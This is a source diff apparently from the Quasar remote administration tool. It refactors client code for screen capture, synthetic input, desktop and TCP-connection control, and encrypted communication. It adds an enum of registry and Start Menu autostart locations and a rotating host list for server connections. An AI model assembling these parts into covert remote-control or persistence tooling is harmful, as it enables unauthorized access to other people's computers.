+++ b/Quasar.Client/User/UserAccount.cs
@@ -0,0 +1,39 @@
+using Quasar.Common.Enums;
+using System;
+using System.Security.Principal;
+
+namespace Quasar.Client.User
+{
+ public class UserAccount
+ {
+ public string UserName { get; }
+
+ public AccountType Type { get; }
+
+ public UserAccount()
+ {
+ UserName = Environment.UserName;
+ using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
+ {
+ WindowsPrincipal principal = new WindowsPrincipal(identity);
+
+ if (principal.IsInRole(WindowsBuiltInRole.Administrator))
+ {
+ Type = AccountType.Admin;
+ }
+ else if (principal.IsInRole(WindowsBuiltInRole.User))
+ {
+ Type = AccountType.User;
+ }
+ else if (principal.IsInRole(WindowsBuiltInRole.Guest))
+ {
+ Type = AccountType.Guest;
+ }
+ else
+ {
+ Type = AccountType.Unknown;
+ }
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs
new file mode 100644
index 000000000..b1a7064a4
--- /dev/null
+++ b/Quasar.Client/Utilities/NativeMethods.cs
@@ -0,0 +1,219 @@
+using System;
+using System.Net;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Quasar.Client.Utilities
+{
+ ///
+ /// Provides access to the Win32 API.
+ ///
+ public static class NativeMethods
+ {
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct LASTINPUTINFO
+ {
+ public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
+ [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize;
+ [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
+ }
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
+ internal static extern IntPtr LoadLibrary(string lpFileName);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ internal static extern bool FreeLibrary(IntPtr hModule);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+ internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
+
+ ///
+ /// Performs a bit-block transfer of the color data corresponding to a
+ /// rectangle of pixels from the specified source device context into
+ /// a destination device context.
+ ///
+ /// Handle to the destination device context.
+ /// The leftmost x-coordinate of the destination rectangle (in pixels).
+ /// The topmost y-coordinate of the destination rectangle (in pixels).
+ /// The width of the source and destination rectangles (in pixels).
+ /// The height of the source and the destination rectangles (in pixels).
+ /// Handle to the source device context.
+ /// The leftmost x-coordinate of the source rectangle (in pixels).
+ /// The topmost y-coordinate of the source rectangle (in pixels).
+ /// A raster-operation code.
+ ///
+ /// true if the operation succeedes, false otherwise. To get extended error information, call .
+ ///
+ [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight,
+ [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
+
+ [DllImport("gdi32.dll", CharSet = CharSet.Unicode)]
+ internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
+
+ [DllImport("gdi32.dll")]
+ internal static extern bool DeleteDC([In] IntPtr hdc);
+
+ [DllImport("user32.dll")]
+ internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
+
+ [DllImport("user32.dll")]
+ internal static extern bool SetCursorPos(int x, int y);
+
+ [DllImport("user32.dll", SetLastError = false)]
+ internal static extern IntPtr GetMessageExtraInfo();
+
+ ///
+ /// Synthesizes keystrokes, mouse motions, and button clicks.
+ ///
+ [DllImport("user32.dll")]
+ internal static extern uint SendInput(uint nInputs,
+ [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs,
+ int cbSize);
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct INPUT
+ {
+ internal uint type;
+ internal InputUnion u;
+ internal static int Size => Marshal.SizeOf(typeof(INPUT));
+ }
+
+ [StructLayout(LayoutKind.Explicit)]
+ internal struct InputUnion
+ {
+ [FieldOffset(0)]
+ internal MOUSEINPUT mi;
+ [FieldOffset(0)]
+ internal KEYBDINPUT ki;
+ [FieldOffset(0)]
+ internal HARDWAREINPUT hi;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct MOUSEINPUT
+ {
+ internal int dx;
+ internal int dy;
+ internal int mouseData;
+ internal uint dwFlags;
+ internal uint time;
+ internal IntPtr dwExtraInfo;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct KEYBDINPUT
+ {
+ internal ushort wVk;
+ internal ushort wScan;
+ internal uint dwFlags;
+ internal uint time;
+ internal IntPtr dwExtraInfo;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct HARDWAREINPUT
+ {
+ public uint uMsg;
+ public ushort wParamL;
+ public ushort wParamH;
+ }
+
+ [DllImport("user32.dll")]
+ internal static extern bool SystemParametersInfo(
+ uint uAction, uint uParam, ref IntPtr lpvParam,
+ uint flags);
+
+ [DllImport("user32.dll")]
+ internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);
+
+ [DllImport("user32.dll", CharSet = CharSet.Unicode)]
+ internal static extern IntPtr OpenDesktop(
+ string hDesktop, int flags, bool inherit,
+ uint desiredAccess);
+
+ [DllImport("user32.dll")]
+ internal static extern bool CloseDesktop(
+ IntPtr hDesktop);
+
+ internal delegate bool EnumDesktopWindowsProc(
+ IntPtr hDesktop, IntPtr lParam);
+
+ [DllImport("user32.dll")]
+ internal static extern bool EnumDesktopWindows(
+ IntPtr hDesktop, EnumDesktopWindowsProc callback,
+ IntPtr lParam);
+
+ [DllImport("user32.dll")]
+ internal static extern bool IsWindowVisible(
+ IntPtr hWnd);
+
+ [DllImport("user32.dll")]
+ internal static extern IntPtr GetForegroundWindow();
+
+ [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
+ internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
+
+ [DllImport("iphlpapi.dll", SetLastError = true)]
+ internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion,
+ TcpTableClass tblClass, uint reserved = 0);
+
+ [DllImport("iphlpapi.dll")]
+ internal static extern int SetTcpEntry(IntPtr pTcprow);
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct MibTcprowOwnerPid
+ {
+ public uint state;
+ public uint localAddr;
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort;
+ public uint remoteAddr;
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort;
+ public uint owningPid;
+ public IPAddress LocalAddress
+ {
+ get { return new IPAddress(localAddr); }
+ }
+
+ public ushort LocalPort
+ {
+ get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); }
+ }
+
+ public IPAddress RemoteAddress
+ {
+ get { return new IPAddress(remoteAddr); }
+ }
+
+ public ushort RemotePort
+ {
+ get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); }
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct MibTcptableOwnerPid
+ {
+ public uint dwNumEntries;
+ private readonly MibTcprowOwnerPid table;
+ }
+
+ internal enum TcpTableClass
+ {
+ TcpTableBasicListener,
+ TcpTableBasicConnections,
+ TcpTableBasicAll,
+ TcpTableOwnerPidListener,
+ TcpTableOwnerPidConnections,
+ TcpTableOwnerPidAll,
+ TcpTableOwnerModuleListener,
+ TcpTableOwnerModuleConnections,
+ TcpTableOwnerModuleAll
+ }
+ }
+}
diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs
new file mode 100644
index 000000000..6170e8229
--- /dev/null
+++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs
@@ -0,0 +1,62 @@
+using System;
+using System.Threading;
+
+namespace Quasar.Client.Utilities
+{
+ ///
+ /// A user-wide mutex that ensures that only one instance runs at a time.
+ ///
+ public class SingleInstanceMutex : IDisposable
+ {
+ ///
+ /// The mutex used for process synchronization.
+ ///
+ private readonly Mutex _appMutex;
+
+ ///
+ /// Represents if the mutex was created on the system or it already existed.
+ ///
+ public bool CreatedNew { get; }
+
+ ///
+ /// Determines if the instance is disposed and should not be used anymore.
+ ///
+ public bool IsDisposed { get; private set; }
+
+ ///
+ /// Initializes a new instance of using the given mutex name.
+ ///
+ /// The name of the mutex.
+ public SingleInstanceMutex(string name)
+ {
+ _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew);
+ CreatedNew = createdNew;
+ }
+
+ ///
+ /// Releases all resources used by this .
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ ///
+ /// Releases the mutex object.
+ ///
+ /// True if called from , false if called from the finalizer.
+ protected virtual void Dispose(bool disposing)
+ {
+ if (IsDisposed)
+ return;
+
+ if (disposing)
+ {
+ _appMutex?.Dispose();
+ }
+
+ IsDisposed = true;
+ }
+ }
+}
diff --git a/Client/app.manifest b/Quasar.Client/app.manifest
similarity index 50%
rename from Client/app.manifest
rename to Quasar.Client/app.manifest
index cebc371f6..bf4e01a4d 100644
--- a/Client/app.manifest
+++ b/Quasar.Client/app.manifest
@@ -1,19 +1,15 @@
-
+
-
+
-
-
-
-
@@ -26,4 +22,23 @@
-
+
+
+ true/pm
+ PerMonitorV2, PerMonitor
+ true
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs
similarity index 76%
rename from Client.Tests/Core/Compression/JpgCompression.Tests.cs
rename to Quasar.Common.Tests/Compression/JpgCompression.Tests.cs
index ecd9b3057..4bf62fa42 100644
--- a/Client.Tests/Core/Compression/JpgCompression.Tests.cs
+++ b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs
@@ -1,9 +1,9 @@
-using System;
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using Quasar.Common.Video.Compression;
+using System;
using System.Drawing;
-using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xClient.Core.Compression;
-namespace xClient.Tests.Core.Compression
+namespace Quasar.Common.Tests.Compression
{
[TestClass]
public class JpgCompressionTests
@@ -21,4 +21,4 @@ public void CompressionTest()
CollectionAssert.AllItemsAreNotNull(result);
}
}
-}
\ No newline at end of file
+}
diff --git a/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs b/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs
new file mode 100644
index 000000000..61c2b99c7
--- /dev/null
+++ b/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs
@@ -0,0 +1,49 @@
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using Quasar.Common.Cryptography;
+using Quasar.Common.Helpers;
+using System.Text;
+
+namespace Quasar.Common.Tests.Cryptography
+{
+ [TestClass]
+ public class Aes128Tests
+ {
+ [TestMethod, TestCategory("Cryptography")]
+ public void EncryptAndDecryptStringTest()
+ {
+ var input = StringHelper.GetRandomString(100);
+ var password = StringHelper.GetRandomString(50);
+
+ var aes = new Aes256(password);
+
+ var encrypted = aes.Encrypt(input);
+
+ Assert.IsNotNull(encrypted);
+ Assert.AreNotEqual(encrypted, input);
+
+ var decrypted = aes.Decrypt(encrypted);
+
+ Assert.AreEqual(input, decrypted);
+ }
+
+ [TestMethod, TestCategory("Cryptography")]
+ public void EncryptAndDecryptByteArrayTest()
+ {
+ var input = StringHelper.GetRandomString(100);
+ var inputByte = Encoding.UTF8.GetBytes(input);
+ var password = StringHelper.GetRandomString(50);
+
+ var aes = new Aes256(password);
+
+ var encryptedByte = aes.Encrypt(inputByte);
+
+ Assert.IsNotNull(encryptedByte);
+ CollectionAssert.AllItemsAreNotNull(encryptedByte);
+ CollectionAssert.AreNotEqual(encryptedByte, inputByte);
+
+ var decryptedByte = aes.Decrypt(encryptedByte);
+
+ CollectionAssert.AreEqual(inputByte, decryptedByte);
+ }
+ }
+}
diff --git a/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs
new file mode 100644
index 000000000..63e9758f0
--- /dev/null
+++ b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs
@@ -0,0 +1,20 @@
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using Quasar.Common.Cryptography;
+using Quasar.Common.Helpers;
+
+namespace Quasar.Common.Tests.Cryptography
+{
+ [TestClass]
+ public class Sha256Tests
+ {
+ [TestMethod, TestCategory("Cryptography")]
+ public void ComputeHashTest()
+ {
+ var input = StringHelper.GetRandomString(100);
+ var result = Sha256.ComputeHash(input);
+
+ Assert.IsNotNull(result);
+ Assert.AreNotEqual(result, input);
+ }
+ }
+}
diff --git a/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs b/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs
new file mode 100644
index 000000000..5a4a595d0
--- /dev/null
+++ b/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs
@@ -0,0 +1,35 @@
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using Quasar.Common.Helpers;
+
+namespace Quasar.Common.Tests.Helpers
+{
+ [TestClass]
+ public class FileHelperTests
+ {
+ [TestMethod, TestCategory("Helpers")]
+ public void RandomFilenameTest()
+ {
+ int length = 100;
+ var name = FileHelper.GetRandomFilename(length);
+
+ Assert.IsNotNull(name);
+ Assert.IsTrue(name.Length == length);
+ }
+
+ [TestMethod, TestCategory("Helpers")]
+ public void ValidateExecutableTest()
+ {
+ var bytes = new byte[] {77, 90};
+
+ Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes));
+ }
+
+ [TestMethod, TestCategory("Helpers")]
+ public void ValidateExecutableTest2()
+ {
+ var bytes = new byte[] {22, 93};
+
+ Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes));
+ }
+ }
+}
diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs
new file mode 100644
index 000000000..ccdc2efb5
--- /dev/null
+++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs
@@ -0,0 +1,20 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyTitle("Quasar Common Tests")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Quasar")]
+[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+[assembly: ComVisible(false)]
+
+[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
+
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.4.1")]
+[assembly: AssemblyFileVersion("1.4.1")]
diff --git a/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar.Common.Tests/Quasar.Common.Tests.csproj
new file mode 100644
index 000000000..aa7b1789a
--- /dev/null
+++ b/Quasar.Common.Tests/Quasar.Common.Tests.csproj
@@ -0,0 +1,22 @@
+
+
+ net452
+ false
+
+
+ ..\bin\Debug\
+
+
+ ..\bin\Release\
+ none
+ false
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Quasar.Common/Cryptography/Aes256.cs b/Quasar.Common/Cryptography/Aes256.cs
new file mode 100644
index 000000000..fa737216b
--- /dev/null
+++ b/Quasar.Common/Cryptography/Aes256.cs
@@ -0,0 +1,128 @@
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace Quasar.Common.Cryptography
+{
+ public class Aes256
+ {
+ private const int KeyLength = 32;
+ private const int AuthKeyLength = 64;
+ private const int IvLength = 16;
+ private const int HmacSha256Length = 32;
+ private readonly byte[] _key;
+ private readonly byte[] _authKey;
+
+ private static readonly byte[] Salt =
+ {
+ 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56,
+ 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
+ };
+
+ public Aes256(string masterKey)
+ {
+ if (string.IsNullOrEmpty(masterKey))
+ throw new ArgumentException($"{nameof(masterKey)} can not be null or empty.");
+
+ using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000))
+ {
+ _key = derive.GetBytes(KeyLength);
+ _authKey = derive.GetBytes(AuthKeyLength);
+ }
+ }
+
+ public string Encrypt(string input)
+ {
+ return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
+ }
+
+ /* FORMAT
+ * ----------------------------------------
+ * | HMAC | IV | CIPHERTEXT |
+ * ----------------------------------------
+ * 32 bytes 16 bytes
+ */
+ public byte[] Encrypt(byte[] input)
+ {
+ if (input == null)
+ throw new ArgumentNullException($"{nameof(input)} can not be null.");
+
+ using (var ms = new MemoryStream())
+ {
+ ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC
+ using (var aesProvider = new AesCryptoServiceProvider())
+ {
+ aesProvider.KeySize = 256;
+ aesProvider.BlockSize = 128;
+ aesProvider.Mode = CipherMode.CBC;
+ aesProvider.Padding = PaddingMode.PKCS7;
+ aesProvider.Key = _key;
+ aesProvider.GenerateIV();
+
+ using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
+ {
+ ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext
+ cs.Write(input, 0, input.Length);
+ cs.FlushFinalBlock();
+
+ using (var hmac = new HMACSHA256(_authKey))
+ {
+ byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext
+ ms.Position = 0; // write hash at beginning
+ ms.Write(hash, 0, hash.Length);
+ }
+ }
+ }
+
+ return ms.ToArray();
+ }
+ }
+
+ public string Decrypt(string input)
+ {
+ return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
+ }
+
+ public byte[] Decrypt(byte[] input)
+ {
+ if (input == null)
+ throw new ArgumentNullException($"{nameof(input)} can not be null.");
+
+ using (var ms = new MemoryStream(input))
+ {
+ using (var aesProvider = new AesCryptoServiceProvider())
+ {
+ aesProvider.KeySize = 256;
+ aesProvider.BlockSize = 128;
+ aesProvider.Mode = CipherMode.CBC;
+ aesProvider.Padding = PaddingMode.PKCS7;
+ aesProvider.Key = _key;
+
+ // read first 32 bytes for HMAC
+ using (var hmac = new HMACSHA256(_authKey))
+ {
+ var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length);
+ byte[] receivedHash = new byte[HmacSha256Length];
+ ms.Read(receivedHash, 0, receivedHash.Length);
+
+ if (!SafeComparison.AreEqual(hash, receivedHash))
+ throw new CryptographicException("Invalid message authentication code (MAC).");
+ }
+
+ byte[] iv = new byte[IvLength];
+ ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext
+ aesProvider.IV = iv;
+
+ using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
+ {
+ byte[] temp = new byte[ms.Length - IvLength + 1];
+ byte[] data = new byte[cs.Read(temp, 0, temp.Length)];
+ Buffer.BlockCopy(temp, 0, data, 0, data.Length);
+ return data;
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/Quasar.Common/Cryptography/SafeComparison.cs b/Quasar.Common/Cryptography/SafeComparison.cs
new file mode 100644
index 000000000..4ac48975c
--- /dev/null
+++ b/Quasar.Common/Cryptography/SafeComparison.cs
@@ -0,0 +1,29 @@
+using System.Runtime.CompilerServices;
+
+namespace Quasar.Common.Cryptography
+{
+ public class SafeComparison
+ {
+ ///
+ /// Compares two byte arrays for equality.
+ ///
+ /// Byte array to compare
+ /// Byte array to compare
+ /// True if equal, else false
+ ///
+ /// Assumes that the byte arrays have the same length.
+ /// This method is safe against timing attacks.
+ ///
+ [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+ public static bool AreEqual(byte[] a1, byte[] a2)
+ {
+ bool result = true;
+ for (int i = 0; i < a1.Length; ++i)
+ {
+ if (a1[i] != a2[i])
+ result = false;
+ }
+ return result;
+ }
+ }
+}
diff --git a/Client/Core/Cryptography/SHA256.cs b/Quasar.Common/Cryptography/Sha256.cs
similarity index 59%
rename from Client/Core/Cryptography/SHA256.cs
rename to Quasar.Common/Cryptography/Sha256.cs
index ccb8ad0ce..c7a6414ce 100644
--- a/Client/Core/Cryptography/SHA256.cs
+++ b/Quasar.Common/Cryptography/Sha256.cs
@@ -1,9 +1,9 @@
using System.Security.Cryptography;
using System.Text;
-namespace xClient.Core.Cryptography
+namespace Quasar.Common.Cryptography
{
- public static class SHA256
+ public static class Sha256
{
public static string ComputeHash(string input)
{
@@ -11,7 +11,7 @@ public static string ComputeHash(string input)
using (SHA256Managed sha = new SHA256Managed())
{
- data = sha.ComputeHash(data, 0, data.Length);
+ data = sha.ComputeHash(data);
}
StringBuilder hash = new StringBuilder();
@@ -21,5 +21,13 @@ public static string ComputeHash(string input)
return hash.ToString().ToUpper();
}
+
+ public static byte[] ComputeHash(byte[] input)
+ {
+ using (SHA256Managed sha = new SHA256Managed())
+ {
+ return sha.ComputeHash(input);
+ }
+ }
}
-}
\ No newline at end of file
+}
diff --git a/Server/Core/Data/Host.cs b/Quasar.Common/DNS/Host.cs
similarity index 57%
rename from Server/Core/Data/Host.cs
rename to Quasar.Common/DNS/Host.cs
index 60eb3503b..be9318455 100644
--- a/Server/Core/Data/Host.cs
+++ b/Quasar.Common/DNS/Host.cs
@@ -1,4 +1,6 @@
-namespace xServer.Core.Data
+using System.Net;
+
+namespace Quasar.Common.DNS
{
public class Host
{
@@ -6,10 +8,18 @@ public class Host
/// Stores the hostname of the Host.
///
///
- /// Can be an IPv4 address or hostname. IPv6 support not tested.
+ /// Can be an IPv4, IPv6 address or hostname.
///
public string Hostname { get; set; }
+ ///
+ /// Stores the IP address of host.
+ ///
+ ///
+ /// Can be an IPv4 or IPv6 address.
+ ///
+ public IPAddress IpAddress { get; set; }
+
///
/// Stores the port of the Host.
///
diff --git a/Quasar.Common/DNS/HostsConverter.cs b/Quasar.Common/DNS/HostsConverter.cs
new file mode 100644
index 000000000..905a335e7
--- /dev/null
+++ b/Quasar.Common/DNS/HostsConverter.cs
@@ -0,0 +1,40 @@
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quasar.Common.DNS
+{
+ public class HostsConverter
+ {
+ public List RawHostsToList(string rawHosts)
+ {
+ List hostsList = new List();
+
+ if (string.IsNullOrEmpty(rawHosts)) return hostsList;
+
+ var hosts = rawHosts.Split(';');
+
+ foreach (var host in hosts)
+ {
+ if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore
+
+ ushort port;
+ if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host
+
+ hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port });
+ }
+
+ return hostsList;
+ }
+
+ public string ListToRawHosts(IList hosts)
+ {
+ StringBuilder rawHosts = new StringBuilder();
+
+ foreach (var host in hosts)
+ rawHosts.Append(host + ";");
+
+ return rawHosts.ToString();
+ }
+ }
+}
diff --git a/Quasar.Common/DNS/HostsManager.cs b/Quasar.Common/DNS/HostsManager.cs
new file mode 100644
index 000000000..182895a1f
--- /dev/null
+++ b/Quasar.Common/DNS/HostsManager.cs
@@ -0,0 +1,63 @@
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quasar.Common.DNS
+{
+ public class HostsManager
+ {
+ public bool IsEmpty => _hosts.Count == 0;
+
+ private readonly Queue _hosts = new Queue();
+
+ public HostsManager(List hosts)
+ {
+ foreach(var host in hosts)
+ _hosts.Enqueue(host);
+ }
+
+ public Host GetNextHost()
+ {
+ var temp = _hosts.Dequeue();
+ _hosts.Enqueue(temp); // add to the end of the queue
+
+ temp.IpAddress = ResolveHostname(temp);
+ return temp;
+ }
+
+ private static IPAddress ResolveHostname(Host host)
+ {
+ if (string.IsNullOrEmpty(host.Hostname)) return null;
+
+ IPAddress ip;
+ if (IPAddress.TryParse(host.Hostname, out ip))
+ {
+ if (ip.AddressFamily == AddressFamily.InterNetworkV6)
+ {
+ if (!Socket.OSSupportsIPv6) return null;
+ }
+ return ip;
+ }
+
+ var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList;
+ foreach (IPAddress ipAddress in ipAddresses)
+ {
+ switch (ipAddress.AddressFamily)
+ {
+ case AddressFamily.InterNetwork:
+ return ipAddress;
+ case AddressFamily.InterNetworkV6:
+ /* Only use resolved IPv6 if no IPv4 address available,
+ * otherwise it could be possible that the router the client
+ * is using to connect to the internet doesn't support IPv6.
+ */
+ if (ipAddresses.Length == 1)
+ return ipAddress;
+ break;
+ }
+ }
+
+ return ip;
+ }
+ }
+}
diff --git a/Quasar.Common/Enums/AccountType.cs b/Quasar.Common/Enums/AccountType.cs
new file mode 100644
index 000000000..19c3eecd8
--- /dev/null
+++ b/Quasar.Common/Enums/AccountType.cs
@@ -0,0 +1,10 @@
+namespace Quasar.Common.Enums
+{
+ public enum AccountType
+ {
+ Admin,
+ User,
+ Guest,
+ Unknown
+ }
+}
diff --git a/Quasar.Common/Enums/ConnectionState.cs b/Quasar.Common/Enums/ConnectionState.cs
new file mode 100644
index 000000000..ce42099d1
--- /dev/null
+++ b/Quasar.Common/Enums/ConnectionState.cs
@@ -0,0 +1,18 @@
+namespace Quasar.Common.Enums
+{
+ public enum ConnectionState : byte
+ {
+ Closed = 1,
+ Listening = 2,
+ SYN_Sent = 3,
+ Syn_Recieved = 4,
+ Established = 5,
+ Finish_Wait_1 = 6,
+ Finish_Wait_2 = 7,
+ Closed_Wait = 8,
+ Closing = 9,
+ Last_ACK = 10,
+ Time_Wait = 11,
+ Delete_TCB = 12
+ }
+}
diff --git a/Quasar.Common/Enums/ContentType.cs b/Quasar.Common/Enums/ContentType.cs
new file mode 100644
index 000000000..77825129f
--- /dev/null
+++ b/Quasar.Common/Enums/ContentType.cs
@@ -0,0 +1,16 @@
+namespace Quasar.Common.Enums
+{
+ public enum ContentType
+ {
+ // these values must match the index of the images in file manager
+ Blob = 2,
+ Application = 3,
+ Text = 4,
+ Archive = 5,
+ Word = 6,
+ Pdf = 7,
+ Image = 8,
+ Video = 9,
+ Audio = 10
+ }
+}
diff --git a/Server/Enums/PathType.cs b/Quasar.Common/Enums/FileType.cs
similarity index 51%
rename from Server/Enums/PathType.cs
rename to Quasar.Common/Enums/FileType.cs
index f21aa2f47..be4b0857e 100644
--- a/Server/Enums/PathType.cs
+++ b/Quasar.Common/Enums/FileType.cs
@@ -1,6 +1,6 @@
-namespace xServer.Enums
+namespace Quasar.Common.Enums
{
- public enum PathType
+ public enum FileType
{
File,
Directory,
diff --git a/Server/Enums/MouseAction.cs b/Quasar.Common/Enums/MouseAction.cs
similarity index 84%
rename from Server/Enums/MouseAction.cs
rename to Quasar.Common/Enums/MouseAction.cs
index ca8b09036..85d1e842b 100644
--- a/Server/Enums/MouseAction.cs
+++ b/Quasar.Common/Enums/MouseAction.cs
@@ -1,4 +1,4 @@
-namespace xServer.Enums
+namespace Quasar.Common.Enums
{
public enum MouseAction
{
diff --git a/Quasar.Common/Enums/ProcessAction.cs b/Quasar.Common/Enums/ProcessAction.cs
new file mode 100644
index 000000000..048ae7308
--- /dev/null
+++ b/Quasar.Common/Enums/ProcessAction.cs
@@ -0,0 +1,8 @@
+namespace Quasar.Common.Enums
+{
+ public enum ProcessAction
+ {
+ Start,
+ End
+ }
+}
diff --git a/Client/Enums/ShutdownAction.cs b/Quasar.Common/Enums/ShutdownAction.cs
similarity index 74%
rename from Client/Enums/ShutdownAction.cs
rename to Quasar.Common/Enums/ShutdownAction.cs
index 42b833ac9..d87fddd9e 100644
--- a/Client/Enums/ShutdownAction.cs
+++ b/Quasar.Common/Enums/ShutdownAction.cs
@@ -1,4 +1,4 @@
-namespace xClient.Enums
+namespace Quasar.Common.Enums
{
public enum ShutdownAction
{
diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs
new file mode 100644
index 000000000..983be5e6c
--- /dev/null
+++ b/Quasar.Common/Enums/StartupType.cs
@@ -0,0 +1,13 @@
+namespace Quasar.Common.Enums
+{
+ public enum StartupType
+ {
+ LocalMachineRun,
+ LocalMachineRunOnce,
+ CurrentUserRun,
+ CurrentUserRunOnce,
+ StartMenu,
+ LocalMachineRunX86,
+ LocalMachineRunOnceX86
+ }
+}
diff --git a/Quasar.Common/Enums/UserStatus.cs b/Quasar.Common/Enums/UserStatus.cs
new file mode 100644
index 000000000..da7260967
--- /dev/null
+++ b/Quasar.Common/Enums/UserStatus.cs
@@ -0,0 +1,8 @@
+namespace Quasar.Common.Enums
+{
+ public enum UserStatus
+ {
+ Active,
+ Idle
+ }
+}
